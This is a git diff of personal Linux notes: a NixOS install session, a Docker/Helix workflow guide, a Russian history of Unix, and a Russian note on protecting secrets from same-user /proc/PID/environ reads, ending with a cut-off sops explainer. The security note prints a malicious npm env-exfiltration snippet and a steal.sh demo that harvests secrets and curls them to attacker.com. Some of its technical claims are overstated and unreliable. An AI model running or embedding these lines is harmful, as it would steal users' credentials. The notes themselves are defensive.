--bind /proc /mnt/proc + +[root@nixos-installer:~]# mount --bind /sys /mnt/sys + +[root@nixos-installer:~]# mount --bind /run /mnt/run + +[root@nixos-installer:~]# ls network/ +addrs.json routes-v4.json routes-v6.json + +[root@nixos-installer:~]# cd network/ + +[root@nixos-installer:~/network]# cat addrs.json routes-v4.json routes-v6.json +[{"ifindex":1,"ifname":"lo","flags":["LOOPBACK","UP","LOWER_UP"],"mtu":65536,"qdisc":"noqueue","operstate":"UNKNOWN","group":"default","txqlen":1000,"link_type":"loopback","address":"00:00:00:00:00:00","broadcast":"00:00:00:00:00:00","addr_info":[{"family":"inet","local":"127.0.0.1","prefixlen":8,"scope":"host","label":"lo","valid_life_time":4294967295,"preferred_life_time":4294967295},{"family":"inet6","local":"::1","prefixlen":128,"scope":"host","noprefixroute":true,"valid_life_time":4294967295,"preferred_life_time":4294967295}]},{"ifindex":2,"ifname":"ens3","flags":["BROADCAST","MULTICAST","UP","LOWER_UP"],"mtu":1500,"qdisc":"fq","operstate":"UP","group":"default","txqlen":1000,"link_type":"ether","address":"52:54:00:07:9e:d3","broadcast":"ff:ff:ff:ff:ff:ff","altnames":["enp0s3"],"addr_info":[{"family":"inet","local":"64.188.70.209","prefixlen":32,"broadcast":"64.188.70.209","scope":"global","label":"ens3","valid_life_time":4294967295,"preferred_life_time":4294967295},{"family":"inet6","local":"2a12:bec4:1bb0:de5::2","prefixlen":64,"scope":"global","valid_life_time":4294967295,"preferred_life_time":4294967295},{"family":"inet6","local":"fe80::5054:ff:fe07:9ed3","prefixlen":64,"scope":"link","protocol":"kernel_ll","valid_life_time":4294967295,"preferred_life_time":4294967295}]}] +[{"dst":"default","gateway":"10.0.0.1","dev":"ens3","flags":["onlink"]}] +[{"dst":"2a12:bec4:1bb0:de5::/64","dev":"ens3","protocol":"kernel","metric":256,"flags":[],"pref":"medium"},{"dst":"fe80::/64","dev":"ens3","protocol":"kernel","metric":256,"flags":[],"pref":"medium"},{"dst":"default","gateway":"2a12:bec4:1bb0:de5::1","dev":"ens3","metric":1024,"flags":["onlink"],"pref":"medium"}] + +[root@nixos-installer:~/network]# cd .. + +[root@nixos-installer:~]# ls /etc/nix +nix/ nixos/ + +[root@nixos-installer:~]# ls /etc/nix +nix/ nixos/ + +[root@nixos-installer:~]# ls /etc/nixos/ +configuration.nix nix-server + +[root@nixos-installer:~]# cd nix-server +-bash: cd: nix-server: No such file or directory + +[root@nixos-installer:~]# ls /etc/nixos/nix-server/ +client-config.json.example flake.nix project.md +client-vless-link.txt ginpee.toml README.md +configuration.nix hardware-configuration.nix server-vars.nix +deploy.sh modules setup-proxy-profile.py +flake.lock networking.nix + +[root@nixos-installer:~]# cd /etc/nixos/nix-server/ + +[root@nixos-installer:/etc/nixos/nix-server]# nix flake check +warning: Git tree '/etc/nixos/nix-server' is dirty +error: + … while checking flake output 'nixosConfigurations' + at /nix/store/k1m4qlhi23jbbsdv1sf9z8y85pasgxxa-source/flake.nix:18:7: + 17| { + 18| nixosConfigurations.server = nixpkgs.lib.nixosSystem { + | ^ + 19| system = "x86_64-linux"; + + … while checking the NixOS configuration 'nixosConfigurations.server' + at /nix/store/k1m4qlhi23jbbsdv1sf9z8y85pasgxxa-source/flake.nix:18:7: + 17| { + 18| nixosConfigurations.server = nixpkgs.lib.nixosSystem { + | ^ + 19| system = "x86_64-linux"; + + … while evaluating the option `system.build.toplevel': + + … while evaluating definitions from `/nix/store/xjjq52iwslhz6lbc621a31v0nfdhr5ks-source/nixos/modules/system/activation/top-level.nix': + + (stack trace truncated; use '--show-trace' to show the full, detailed trace) + + error: + Failed assertions: + - The ‘fileSystems’ option does not specify your root file system. + - You must set the option ‘boot.loader.grub.devices’ or 'boot.loader.grub.mirroredBoots' to make the system bootable. + +[root@nixos-installer:/etc/nixos/nix-server]# nano hardware-configuration.nix +-bash: nano: command not found + +[root@nixos-installer:/etc/nixos/nix-server]# nix-shell -p vim +warning: Nix search path entry '/nix/var/nix/profiles/per-user/root/channels/nixos' does not exist, ignoring +warning: Nix search path entry '/nix/var/nix/profiles/per-user/root/channels' does not exist, ignoring +error: + … while calling the 'import' builtin + at «string»:1:18: + 1| {...}@args: with import args; (pkgs.runCommandCC or pkgs.runCommand) "shell" { buildInputs = [ (vim) ]; } "" + | ^ + + … while realising the context of a path + + … while calling the 'findFile' builtin + at «string»:1:25: + 1| {...}@args: with import args; (pkgs.runCommandCC or pkgs.runCommand) "shell" { buildInputs = [ (vim) ]; } "" + | ^ + + error: file 'nixpkgs' was not found in the Nix search path (add it using $NIX_PATH or -I) + +[root@nixos-installer:/etc/nixos/nix-server]# vim hardware-configuration.nix +-bash: vim: command not found + +[root@nixos-installer:/etc/nixos/nix-server]# nix flake check +warning: Git tree '/etc/nixos/nix-server' is dirty +checking NixOS configuration 'nixosConfigurations.server'^C \ No newline at end of file diff --git a/00-linux/nixos/useful commands to operate system.md b/10-linux/10-nixos/useful commands to operate system.md similarity index 100% rename from 00-linux/nixos/useful commands to operate system.md rename to 10-linux/10-nixos/useful commands to operate system.md diff --git a/00-linux/devops/README.md b/10-linux/20-hyprland/README.md similarity index 100% rename from 00-linux/devops/README.md rename to 10-linux/20-hyprland/README.md diff --git a/00-linux/hyprland/README.md b/10-linux/30-devops/README.md similarity index 100% rename from 00-linux/hyprland/README.md rename to 10-linux/30-devops/README.md diff --git a/10-linux/30-devops/devcontainer.md b/10-linux/30-devops/devcontainer.md new file mode 100644 index 0000000..66fd861 --- /dev/null +++ b/10-linux/30-devops/devcontainer.md @@ -0,0 +1,193 @@ +Here is your content rewritten as a clean, well-formatted Markdown file suitable for pasting into Obsidian: + +```md +# Development Workflow: Nix + Docker + Helix + +Excellent question! You're thinking about the complete development workflow. Below is a clear guide to using your Nix development environment alongside a Docker test container—fully integrated with Helix. + +--- + +## Environment Strategy: Nix vs Docker + +### Nix Development Environment (`nix develop`) +- **Purpose**: Where you write, edit, and lint your code +- **Location**: Your NixOS host system +- **Editor**: Helix runs here, with access to `bash-language-server` and `shellcheck` +- **Benefits**: Fast iteration, immediate feedback, native performance + +### Docker Test Container +- **Purpose**: Validate that your scripts work on **Ubuntu 20.04** (the assignment’s target OS) +- **Location**: Isolated container mimicking the specified environment +- **Usage**: Run scripts to ensure portability and compliance +- **Benefits**: Guarantees compatibility with the assignment requirements + +--- + +## Dockerfile for Ubuntu 20.04 Testing + +Place this `Dockerfile` in your project root (`DO4_LinuxMonitoring_v2.0.ID_356280-1/`): + +```dockerfile +# Dockerfile +FROM ubuntu:20.04 + +# Prevent interactive prompts during package installation +ENV DEBIAN_FRONTEND=noninteractive + +# Update package list and install essential tools +RUN apt-get update && apt-get install -y \ + bash \ + coreutils \ + gawk \ + findutils \ + util-linux \ + && rm -rf /var/lib/apt/lists/* + +# Create a non-root user for safer script execution +RUN useradd -ms /bin/bash appuser +USER appuser + +# Set working directory +WORKDIR /app + +# Default to bash shell for interactive testing +CMD ["/bin/bash"] +``` + +--- + +## Building and Running the Test Container + +```bash +# From project root (where Dockerfile is located) +docker build -t linux-monitoring-test . + +# Run container and mount your task directories +docker run --rm -it -v "$(pwd)/src:/app/src" linux-monitoring-test + +# Inside the container (as 'appuser' on Ubuntu 20.04): +cd /app/src/01 +bash main.sh /tmp/monitor_test 4 az 5 az.az 3kb + +# Exit when done +exit +``` + +--- + +## Helix Configuration for Optimal Workflow + +Create a project-specific Helix configuration in your project root: + +```bash +mkdir -p .helix +``` + +### `.helix/languages.toml` + +```toml +# Project-specific Helix configuration + +[[language]] +name = "bash" +scope = "source.bash" +file-types = ["sh", "bash"] +shebangs = ["sh", "bash"] +roots = [] +comment-token = "#" +language-servers = [ "bash-language-server" ] +auto-format = false # Keep as false; formatting can break script logic + +[language-server.bash-language-server] +command = "bash-language-server" +args = ["start"] + +# Configure ShellCheck for linting +[language.bash.config] +shellcheck = { enable = true, severity = "warning" } + +# Key mappings for this project +[keys.normal] +# Quick save and run current script +"A-r" = ":w:sh bash %" +# Run shellcheck on current file +"A-c" = ":sh shellcheck %" +``` + +> 💡 **Note**: Place this file at `DO4_LinuxMonitoring_v2.0.ID_356280-1/.helix/languages.toml`. + +--- + +## Recommended Workflow + +### Development Cycle (in Nix environment) +1. **Enter dev environment**: + ```bash + nix develop + ``` +2. **Open Helix**: + ```bash + cd src/01 && helix main.sh + ``` +3. **Edit code**: ShellCheck provides real-time inline linting. +4. **Quick test**: Press `Alt+r` in Helix to save and run the current script. +5. **Lint manually**: Press `Alt+c` to run ShellCheck in the terminal. + +### Validation Cycle (in Docker) +1. **Build the container**: + ```bash + docker build -t linux-monitoring-test . + ``` +2. **Run with volume mount**: + ```bash + docker run --rm -it -v "$(pwd)/src:/app/src" linux-monitoring-test + ``` +3. **Inside the container**: + ```bash + cd /app/src/01 && bash main.sh /tmp/test 4 az 5 az.az 3kb + ``` +4. **Verify**: Ensure `generator.log` is created and contains expected output. + +--- + +## Integration with ShellCheck + +ShellCheck is already included in your `flake.nix` and will lint automatically in Helix. To run it manually: + +```bash +# Lint a single file +shellcheck src/01/main.sh + +# Lint all bash scripts +find src -name "*.sh" -exec shellcheck {} \; +``` + +--- + +## End-to-End Test for Part 1 + +```bash +# 1. Develop in Nix/Helix +nix develop +cd src/01 +helix main.sh # Edit and save + +# 2. Quick test in Nix +bash main.sh /tmp/monitor_test 4 az 5 az.az 3kb +ls -la /tmp/monitor_test/ +cat generator.log + +# 3. Full validation in Docker +docker run --rm -it -v "$(pwd):/app" linux-monitoring-test +# Inside container: +cd /app/src/01 +bash main.sh /tmp/test 4 az 5 az.az 3kb +# Confirm identical behavior on Ubuntu 20.04 +``` + +--- + +This workflow gives you the best of both worlds: +- **Fast, responsive development** with Nix + Helix + ShellCheck +- **Guaranteed compatibility** via Docker testing against the exact target OS +``` \ No newline at end of file diff --git a/10-linux/90-history/history.md b/10-linux/90-history/history.md new file mode 100644 index 0000000..fe5e89c --- /dev/null +++ b/10-linux/90-history/history.md @@ -0,0 +1,73 @@ + + +## Как компилировались самые первые ядра операционных систем + +**Ключевой момент:** До Linux было множество операционных систем, и все они встали перед одной и той же проблемой bootstrap. + +--- + +## Цепочка: От машинного кода до Multics и Unix + +## Самое начало (1940s-1950s): Машинный код вручную + +Первые компьютеры (ENIAC, EDSAC) **не программировались в привычном смысле**. Они либо перепроводились вручную (ENIAC), либо использовались прямые переключатели и перфокарты. Программы писались в **чистом машинном коде в двоичной или шестнадцатеричной форме**, и люди вручную рассчитывали адреса ветвлений.[reddit+1](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/)​ + +Это был настоящий ад: один из программистов того времени вспоминал, как писал монитор для ROM, записывая **hex-коды вручную в тетрадь**.[reddit](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/)​ + +## 1950s: Ассемблеры и первые компиляторы + +Затем появились **ассемблеры** — программы, которые переводят мнемоничные инструкции (MOVE, ADD) в машинный код. Первые ассемблеры были написаны **вручную в машинном коде**.[reddit](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/)​ + +После этого, примерно в начале 1950-х, пришли первые компиляторы высокого уровня. Они тоже были написаны в ассемблере, который уже существовал.[reddit](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/)​ + +## Multics (1964-1969): Первая сложная ОС на высокоуровневом языке + +Bell Labs, MIT и General Electric разрабатывали **Multics** для GE-645 mainframe. Это была революционная система — она была написана на **PL/I** (высокоуровневом языке). Multics показала, что операционные системы можно писать не только на ассемблере.[wikipedia+1](https://en.wikipedia.org/wiki/History_of_Unix)​ + +Однако Multics стала настолько сложной и дорогой, что Bell Labs вышла из проекта в 1969 году. + +## Unix (1969-1970): Bootstrapping на PDP-7 и PDP-11 + +Когда Ken Thompson начинал писать Unix, он столкнулся с классической bootstrap-проблемой. Вот как это выглядело:[tuhs](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html)​ + +1. **Сначала макросы**: Thompson **не писал на самом PDP-7**, а использовал **GEMAP ассемблер на машине GE-635**. Он писал макросы для этого ассемблера, которые потом постпроцессор переводил в **бумажную ленту**, читаемую PDP-7. Эти ленты физически переносились на PDP-7 для тестирования.[tuhs](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html)​ + +2. **Простой kernel + инструменты**: Thompson вручную написал на ассемблере **примитивный Unix kernel, редактор, ассемблер и простую shell**. Всё это — на ассемблере PDP-7.[tuhs](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html)​ + +3. **Self-hosting на PDP-11**: Когда Bell Labs получили PDP-11, Thompson **перекодировал Unix kernel и базовые команды в PDP-11 assembly**. Только тогда система смогла **компилировать саму себя** на своей же машине.[tuhs](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html)​ + +4. **Переход на C (1973)**: К 1973 году Dennis Ritchie и Ken Thompson переписали **большую часть Unix kernel на C** — язык, который они сами разработали. Это была революция: **ядро операционной системы на высокоуровневом языке**, вопреки общему убеждению, что это невозможно.[startertutorials+2](https://www.startertutorials.com/blog/history-of-unix.html)​ + + +--- + +## Общий паттерн bootstrap + +Все первые операционные системы проходили через этот цикл: + +|Уровень|Способ компиляции| +|---|---| +|**Машинный код**|Люди вручную в двоичной/hex форме, перфокарты, переключатели| +|**Ассемблеры**|Написаны вручную в машинном коде| +|**Первые компиляторы высокого уровня**|Написаны на ассемблере| +|**Операционные системы**|Написаны на ассемблере (или на высокоуровневом языке после C)| +|**Self-hosting**|Система компилирует саму себя| + +--- + +## Почему Unix смог перейти на C, а Multics — нет + +Multics, будучи огромной системой на mainframe-е, была слишком сложна для переписывания. Unix был **сознательно** сделан **маленьким и простым**, что позволило Thompson и Ritchie переписать его на C за одно лето (1973). Это сделало Unix **портируемым** на любую машину, у которой была C-компилятор.[wikipedia+1](https://en.wikipedia.org/wiki/History_of_Unix)​ + +Это было ключевой причиной успеха Unix — он был написан на языке, а не на железе. + +1. [https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/](https://www.reddit.com/r/learnprogramming/comments/181gtei/if_programming_requires_a_compiler_how_was_the/) +2. [https://en.wikipedia.org/wiki/Booting](https://en.wikipedia.org/wiki/Booting) +3. [https://en.wikipedia.org/wiki/History_of_Unix](https://en.wikipedia.org/wiki/History_of_Unix) +4. [https://en.wikipedia.org/wiki/Multics](https://en.wikipedia.org/wiki/Multics) +5. [https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html](https://www.tuhs.org/Mirror/Hauben/unix-Part_I.html) +6. [https://www.startertutorials.com/blog/history-of-unix.html](https://www.startertutorials.com/blog/history-of-unix.html) +7. [https://users.dimi.uniud.it/~antonio.dangelo/LabOS/2007/lessons/helper/history/earlyunix.html](https://users.dimi.uniud.it/~antonio.dangelo/LabOS/2007/lessons/helper/history/earlyunix.html) +8. [http://amits-notes.readthedocs.io/en/latest/study/taoup/taoup-ch2-history.html](http://amits-notes.readthedocs.io/en/latest/study/taoup/taoup-ch2-history.html) +9. [https://www.reddit.com/r/askscience/comments/4gjvt4/how_were_the_very_first_computer/](https://www.reddit.com/r/askscience/comments/4gjvt4/how_were_the_very_first_computer/) +10. [https://www.redhat.com/en/blog/unix-linux-history](https://www.redhat.com/en/blog/unix-linux-history) \ No newline at end of file diff --git a/00-linux/networking/README.md b/10-linux/README.md similarity index 100% rename from 00-linux/networking/README.md rename to 10-linux/README.md diff --git a/10-linux/cybersec/direnv, environment vars.md b/10-linux/cybersec/direnv, environment vars.md new file mode 100644 index 0000000..7126ab9 --- /dev/null +++ b/10-linux/cybersec/direnv, environment vars.md @@ -0,0 +1,244 @@ +# Linux Security: Environment Variables & Process Isolation + +## Ключевая концепция + +**Same-UID процессы могут читать environment variables друг друга через `/proc/[PID]/environ`**. Это создает attack surface для malicious packages и compromised binaries.[kernel](https://docs.kernel.org/filesystems/proc.html)​ + +--- + +## Permission Model + +## Кто может читать `/proc/[PID]/environ` + +Согласно документации Linux kernel:[kernel](https://docs.kernel.org/filesystems/proc.html)​ + +> Процесс может читать `/proc/PID/*` других процессов только при наличии **CAP_SYS_PTRACE** capability с PTRACE_MODE_READ permissions, или CAP_PERFMON capability. + +**Но**: процессы под одним UID имеют полный доступ друг к другу. + +bash + +`# Проверка permissions ls -l /proc/$(pgrep sleep)/environ # -r-------- 1 wave wave 0 Nov 3 23:30 /proc/12345/environ # ^^^^ # Только owner может читать` + +## Same-UID = Full Access (критическая уязвимость) + +bash + +`# Все эти процессы могут читать environment друг друга: wave 1234 firefox wave 5678 cargo run ← DATABASE_PASSWORD здесь wave 9012 npm install evil ← может прочитать PASSWORD wave 3456 code .` + +**Демонстрация:** + +bash + +`# Terminal 1 export API_KEY=sk-proj-super_secret # Terminal 2 (тот же юзер) cat /proc/$(pgrep -u $USER bash | head -1)/environ | tr '\0' '\n' | grep API_KEY # API_KEY=sk-proj-super_secret ← успешно прочитан!` + +--- + +## Реальные Векторы Атак + +## 1. Malicious npm Packages + +**Реальный случай 2022**: JFrog обнаружил 17 npm packages, крадущих environment variables.[jfrog+1](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)​ + +Код из пакета `wafer-bind` (deobfuscated):[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)​ + +javascript + +`req = http['request']({ 'host': 'a5eb7b362adc824ed7d98433d8eae80a.m.pipedream.net', 'path': '/' + (process["env"]["npm_package_name"] || ''), 'method': "POST" }); req["write"]( Buffer["from"]( JSON["stringify"](process['env']) // ← ВСЕ переменные! )["toString"]("base64") ); req["end"]();` + +Этот код автоматически выполняется при `npm install` и отправляет весь `process.env` на attacker server.[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)​ + +## 2. Browser Extensions + +javascript + +`// Chrome/Firefox extension chrome.processes.getProcessInfo((processes) => { for (let pid of processes) { fetch('/proc/' + pid + '/environ') .then(data => sendToAttacker(data)); } });` + +## 3. Compromised Development Tools + +rust + +`// Вредоносный cargo plugin или rust-analyzer fork use std::fs; fn exfiltrate_secrets() { for entry in fs::read_dir("/proc")? { let path = entry?.path(); if let Some(pid) = path.file_name() .and_then(|n| n.to_str()?.parse::().ok()) { if let Ok(environ) = fs::read_to_string(path.join("environ")) { for var in environ.split('\0') { if var.starts_with("AWS_") || var.starts_with("DATABASE_") { send_to_attacker(var); } } } } } }` + +--- + +## Attack Surface Analysis + +## ✅ Защищены от чтения + +- **Процессы других пользователей** - Permission denied + +- **Docker containers** (по дефолту) - разные PID namespaces + +- **Systemd services** с `PrivateTmp=true` и `ProtectSystem=strict` + + +## ❌ Могут читать твои секреты + +|Вектор атаки|Механизм|Пример| +|---|---|---| +|npm packages|`postinstall` scripts|`wafer-bind`, `discord-lofy`[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)​| +|Browser extensions|WebExtensions API|Chrome/Firefox plugins| +|Compromised binaries|`/proc` scanning|Backdoored `cargo`, `rust-analyzer`| +|Python packages|`setup.py` execution|malicious `pip install`| +|Shell scripts|`~/.bashrc` backdoor|Startup script injection| + +--- + +## Демонстрация Реальной Атаки + +bash + +`# Terminal 1: запуск процесса с секретом DATABASE_PASSWORD=prod_password_123 cargo run & # Terminal 2: симуляция malicious npm package cat > /tmp/steal.sh << 'EOF' #!/bin/bash for pid in /proc/[0-9]*; do if [ -r "$pid/environ" ]; then cat "$pid/environ" 2>/dev/null | \ tr '\0' '\n' | \ grep -E 'PASSWORD|SECRET|KEY|TOKEN' >> /tmp/stolen.txt fi done curl -X POST https://attacker.com/exfil -d @/tmp/stolen.txt EOF bash /tmp/steal.sh cat /tmp/stolen.txt # DATABASE_PASSWORD=prod_password_123 ← украден!` + +--- + +## Решение: direnv + sops + +## Почему direnv защищает + +**Temporal scoping**: секреты существуют только в subprocess scope конкретной директории.[github+1](https://github.com/direnv/direnv/issues/805)​ + +bash + +`# БЕЗ direnv (глобальный export) export DATABASE_PASSWORD=secret cargo run & # PID 1234 npm install evil & # PID 5678 ← может прочитать /proc/1234/environ # С direnv (process-scoped) cd ~/project direnv allow # Секреты загружаются ТОЛЬКО для subprocesses cargo run # Секреты доступны cd /tmp # direnv: unloading npm install evil # Секреты УЖЕ unloaded из environment` + +## Process Isolation + +bash + +`ps aux | grep bash # wave 1234 bash (parent shell) ← НЕТ секретов # wave 5678 bash (direnv subshell) ← ЕСТЬ секреты # только для этого дерева процессов # Выход из директории cd ~ # direnv делает: unset DATABASE_PASSWORD # Теперь НИКТО не может прочитать из /proc` + +## Установка в NixOS + +text + +`# home/modules/cli-tools.nix home.packages = with pkgs; [ direnv sops age ]; # home/modules/shell.nix programs.bash.initExtra = '' eval "$(direnv hook bash)" ''; programs.fish.interactiveShellInit = '' direnv hook fish | source '';` + +## Настройка проекта + +bash + +`cd ~/projects/rust-app # Создай .envrc cat > .envrc << 'EOF' use_sops() { local path=${1:-secrets.yaml} eval "$(sops -d --output-type dotenv "$path" | sed 's/^/export /')" } use_sops secrets.yaml EOF direnv allow # Теперь просто: cargo run # вместо: sops exec-env secrets.yaml 'cargo run'` + +--- + +## Дополнительные Меры Защиты + +## 1. Hidepid Mount Option + +text + +`# hosts/configuration.nix fileSystems."/proc" = { device = "proc"; fsType = "proc"; options = [ "hidepid=2" "gid=proc" ]; };` + +Скрывает `/proc` других юзеров полностью. + +## 2. Secrecy Crate для Rust + +text + +`[dependencies] secrecy = "0.8" zeroize = "1.7"` + +rust + +`use secrecy::{Secret, ExposeSecret}; #[derive(Zeroize)] #[zeroize(drop)] struct DbPassword(String); fn main() { let password = Secret::new(DbPassword( std::env::var("DATABASE_PASSWORD").unwrap() )); // Используй через expose_secret() let conn = connect(password.expose_secret().0); // Password зануляется в памяти при drop // Не попадает в core dumps и debugging output }` + +## 3. Namespace Isolation + +bash + +`unshare --pid --fork --mount-proc bash -c ' export DATABASE_PASSWORD=secret cargo run '` + +`/proc/[PID]` не виден снаружи namespace. + +## 4. Audit Packages + +bash + +`# Проверка ПЕРЕД установкой npm show suspicious-package | grep scripts # "postinstall": "node malware.js" ← RED FLAG! cargo tree | grep -i suspicious` + +--- + +## Threat Model Summary + +## 🔴 High Risk: Same-UID Attacks + +text + +`Browser + Extensions └─> может читать /proc твоего cargo run ✓ npm install evil └─> может читать /proc твоего shell ✓ Compromised VSCode extension └─> может читать /proc всех dev процессов ✓` + +**Решение**: `direnv` + `sops` = subprocess scope + +## 🟡 Medium Risk: Kernel Exploits + +text + +`Kernel vulnerability + root └─> может читать всю память (включая RAM) CAP_SYS_PTRACE процессы └─> могут ptrace и читать память` + +**Решение**: `secrecy` crate + `zeroize` + `mlock()` + +## 🟢 Low Risk: Different UID + +text + +`Процессы других юзеров └─> Permission denied для /proc/[твой PID]/ ✗` + +**Решение**: уже защищено DAC (Discretionary Access Control) + +--- + +## Best Practices + +|Контекст|Решение|Пример| +|---|---|---| +|**Development**|`direnv` + `sops`|Per-project secrets[github](https://github.com/direnv/direnv/issues/805)​| +|**CI/CD**|GitHub Actions secrets|Encrypted in repository[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)​| +|**Production**|Vault / K8s secrets|Centralized secrets management| +|**Docker**|`env_file` (не `ENV`)|Runtime injection, не build-time| +|**Personal overrides**|`.env.local`|В `.gitignore`| + +## ❌ Плохие практики + +- `export` в `.bashrc` → глобальная утечка + +- `.env` в git незашифрованным + +- `ENV` в Dockerfile → попадает в image layers + +- `--build-arg` в Docker → видно в `docker history` + + +## ✅ Хорошие практики + +- `direnv` → автоматический unload при выходе из директории + +- `sops` → encryption at rest, коммитится в git + +- `secrecy` crate → защита от Debug print + +- `zeroize` → очистка памяти после использования + + +--- + +## Итого + +Глобальные environment variables — это **attack surface** для same-UID process attacks. Зафиксировано множество реальных случаев эксплуатации (17+ npm packages только в одном исследовании).[therecord+1](https://therecord.media/malicious-npm-packages-caught-stealing-discord-tokens-environment-variables)​ + +**Решение**: `direnv` + `sops` обеспечивают temporal scoping — секреты живут только пока ты в project directory и автоматически исчезают при выходе. Даже если malicious package попытается прочитать `/proc`, он найдет только пустые environment variables. + +1. [https://www.youtube.com/watch?v=d8fXEhWy_rY](https://www.youtube.com/watch?v=d8fXEhWy_rY) +2. [https://gist.github.com/saharshbhansali/5da604f1731c7d5ea07b2bd91552d48c](https://gist.github.com/saharshbhansali/5da604f1731c7d5ea07b2bd91552d48c) +3. [https://publish.obsidian.md/hub/04+-+Guides,+Workflows,+&+Courses/Guides/Markdown+Syntax](https://publish.obsidian.md/hub/04+-+Guides,+Workflows,+&+Courses/Guides/Markdown+Syntax) +4. [https://www.youtube.com/watch?v=9ft9G6JUfO0](https://www.youtube.com/watch?v=9ft9G6JUfO0) +5. [https://pulseofmedicine.com/markdown-in-obsidian-the-ultimate-guide-for-students/](https://pulseofmedicine.com/markdown-in-obsidian-the-ultimate-guide-for-students/) +6. [https://facedragons.com/personal-development/obsidian-markdown-cheatsheet/](https://facedragons.com/personal-development/obsidian-markdown-cheatsheet/) +7. [https://www.xda-developers.com/here-are-some-markdown-tips-and-tricks-to-improve-your-note-taking-in-obsidian/](https://www.xda-developers.com/here-are-some-markdown-tips-and-tricks-to-improve-your-note-taking-in-obsidian/) +8. [https://rossgriffin.com/tutorials/obsidian-basics-guide/](https://rossgriffin.com/tutorials/obsidian-basics-guide/) +9. [https://forum.obsidian.md/t/markdown-best-practices-for-writing-symbol/42064](https://forum.obsidian.md/t/markdown-best-practices-for-writing-symbol/42064) +10. [https://www.markdownguide.org/tools/obsidian/](https://www.markdownguide.org/tools/obsidian/) +11. [https://docs.kernel.org/filesystems/proc.html](https://docs.kernel.org/filesystems/proc.html) +12. [https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/) +13. [https://therecord.media/malicious-npm-packages-caught-stealing-discord-tokens-environment-variables](https://therecord.media/malicious-npm-packages-caught-stealing-discord-tokens-environment-variables) +14. [https://github.com/direnv/direnv/issues/805](https://github.com/direnv/direnv/issues/805) +15. [https://news.ycombinator.com/item?id=40927251](https://news.ycombinator.com/item?id=40927251) \ No newline at end of file diff --git a/10-linux/cybersec/sops exec-env.md b/10-linux/cybersec/sops exec-env.md new file mode 100644 index 0000000..a778c9a --- /dev/null +++ b/10-linux/cybersec/sops exec-env.md @@ -0,0 +1,101 @@ +## Механизм работы `sops exec-env secrets.yaml` + +**SOPS exec-env** расшифровывает зашифрованный YAML/JSON файл и передаёт все key-value пары как environment variables (переменные окружения) в **child process** (дочерний процесс), который вы указываете в команде.[temofeev+1](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)​ + +## Архитектура изоляции + +Команда работает по следующей схеме:[github](https://github.com/getsops/sops)​ + +bash + +`sops exec-env secrets.yaml 'cargo run'` + +1. **SOPS расшифровывает** `secrets.yaml` в памяти (никогда не пишет plaintext на диск)[github](https://github.com/getsops/sops)​ + +2. **Fork текущего процесса** — создаётся child process через Unix `fork()` syscall + +3. **Устанавливает environment variables** из расшифрованного файла в child process через `execve()` syscall + +4. **Запускает указанную команду** (`cargo run`) с загруженными переменными[github](https://github.com/getsops/sops)​ + + +Это **стандартный Unix process isolation механизм**, а не специальный container или namespace. Environment variables наследуются только в одну сторону: parent → child, но не обратно.[github](https://github.com/getsops/sops)​ + +## Пример из документации + +bash + +`# Проверяем содержимое $ sops decrypt out.json { "database_password": "jf48t9wfw094gf4nhdf023r", "AWS_ACCESS_KEY_ID": "AKIAIOSFODNN7EXAMPLE" } # Запускаем команду с секретами $ sops exec-env out.json 'echo secret: $database_password' secret: jf48t9wfw094gf4nhdf023r # Запускаем shell с секретами $ sops exec-env out.json 'sh' sh-3.2# echo $database_password jf48t9wfw094gf4nhdf023r # Выходим из shell sh-3.2$ exit # Секрет недоступен в parent shell $ echo your password: $database_password your password:` + +## Уничтожение видимости переменных + +Переменные уничтожаются **автоматически при завершении child процесса**. Это происходит в момент:[github](https://github.com/getsops/sops)​ + +1. **Нормального завершения команды** — `cargo run` выполнился и вернул exit code + +2. **Crash процесса** — процесс убит сигналом (SIGTERM, SIGKILL) + +3. **Явного exit** — вы вызвали `exit` в shell session + + +Kernel автоматически очищает memory space процесса при его завершении, включая environment variables. Секреты не утекают в parent shell, не попадают в `/proc//environ` после завершения, не записываются в swap (если использовать `mlock`).[github](https://github.com/getsops/sops)​ + +## Преимущества для вашего backend проекта + +В вашем justfile используется паттерн:[github](https://github.com/getsops/sops)​ + +text + +`sops_run := "sops exec-env secrets.yaml" dev: @{{sops_run}} 'cargo run'` + +Это означает: + +- **PostgreSQL credentials** доступны только процессу `cargo run`, но не остаются в shell history + +- **После Ctrl+C** (завершения backend) переменные мгновенно уничтожаются kernel'ом + +- **Другие терминалы** не видят секреты — изоляция на уровне process ID + +- **Docker compose** внутри `sops exec-env` также получает переменные только на время выполнения[github](https://github.com/getsops/sops)​ + + +## Сравнение с альтернативами + +**Небезопасный способ**: + +bash + +`export DATABASE_PASSWORD=$(sops -d secrets.yaml | yq .password) cargo run` + +Переменная остаётся в текущем shell до `unset` или закрытия терминала, видна в `env` и `/proc/self/environ`. + +**Безопасный способ** (ваш текущий): + +bash + +`sops exec-env secrets.yaml 'cargo run'` + +Переменная существует только внутри `cargo run` процесса и автоматически умирает с ним.[temofeev+1](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)​ + +## NixOS специфика + +На NixOS с вашим setup (Hyprland + Wayland) 